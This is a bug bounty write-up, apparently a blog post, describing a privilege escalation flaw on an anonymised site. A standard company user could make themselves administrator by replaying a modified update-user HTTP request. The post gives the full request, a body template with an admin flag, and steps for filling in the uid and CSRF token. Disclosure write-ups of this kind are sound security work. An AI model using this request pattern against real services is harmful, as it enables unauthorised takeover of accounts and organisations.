Hi amazing researchers, Here is my Privilege Escalation vulnerability on a private program that let attackers take over the whole Company and even kick out the main manager. For discovery such this type of vulnerability, I always recommend working with the website deeply and organizing all features, user levels, etc.

This website allows you to create a private company and add other users to your company. We have 3 types of user levels in the company:

• Admin Users: Can edit Pulse settings and manage users.
• Standard users: Can’t edit Pulse preferences and manage users.
• Inactive users: can no longer log into their accounts.

The vulnerability is that an administrator has invited a user as a standard user, and then the standard user updates their privilege to the privilege of the administrator.

After creating an admin account and a company, We invite an attacker as a standard user. Now we have everything to start.
First, let’s take a deep look at the administrator’s request to update users’ privileges in the company:

POST /go/update-user HTTP/1.1
Host: sub.website.com
Cookie: value1=value; value2=value2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://sub.website.com/go/myaccount
Content-Type: application/x-www-form-urlencoded
X-CSRF-Token: Random-Value
Content-Length: 287
Origin: https://sub.website.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
action=manage_user&tab=&uid=12252&cap=&_csrf=e91cfa95-e191-4a55-b98a-e5bd0b5c053e&fname12252=m7arm4n&lname12252=m7arm4n&adminuser12252=Y&standardradio12252=on 

So what are we interested in? CSRF header and body parameter, uid value parameter, and another parameter name. 🧐 It seems that we have to spend a lot of time on this.

At the first, we need a post request from the attacker’s credentials to make an exploit. I updated the attacker profile account and then send the request to the repeater. Changing the endpoint of the update profile user into the update privilege of a user is the first thing.

/go/myaccount -> /go/update-user

After deep looking at the headers, I noticed that the update privilege of the user has an X-CSRF-Token header but updating the user profile hasn’t. I added manually the header and for the value, I copied and pasted the attacker’s CSRF token value from the request body. The basic part is over, Now it’s time to go for the body of the request. This is a little confusing part.

For creating the body request exploit code we need a template. Here is our template:

action=manage_user&tab=&uid={uid}&cap=&_csrf={_csrf}&fname{uid}={attacker_fname}&lname{uid}={attacker_lname}&adminuser{uid}=Y&standardradio{uid}=on

Now we have to complete the information based on the attacker’s account.

1. CSRF token: replace the value of the CSRF header.
2. For uid: search in the source of the attacker’s profile page for this: window.heap.identify
3. Replace all the uid in the parameter’s name.
4. For fname and lname add the attacker’s first and last name.

And Finally, you reach something like this

action=manage_user&tab=&uid=12252&cap=&_csrf=e91cfa95-e191-4a55-b98a-e5bd0b5c053e&fname12252=m7arm4n&lname12252=m7arm4n&adminuser12252=Y&standardradio12252=on 

Send it with the attacker's credentials and Bingo, You have an account with admin privilege.

Thank you for following me here, Don’t forget to follow me for more write-ups.

Twitter 🐦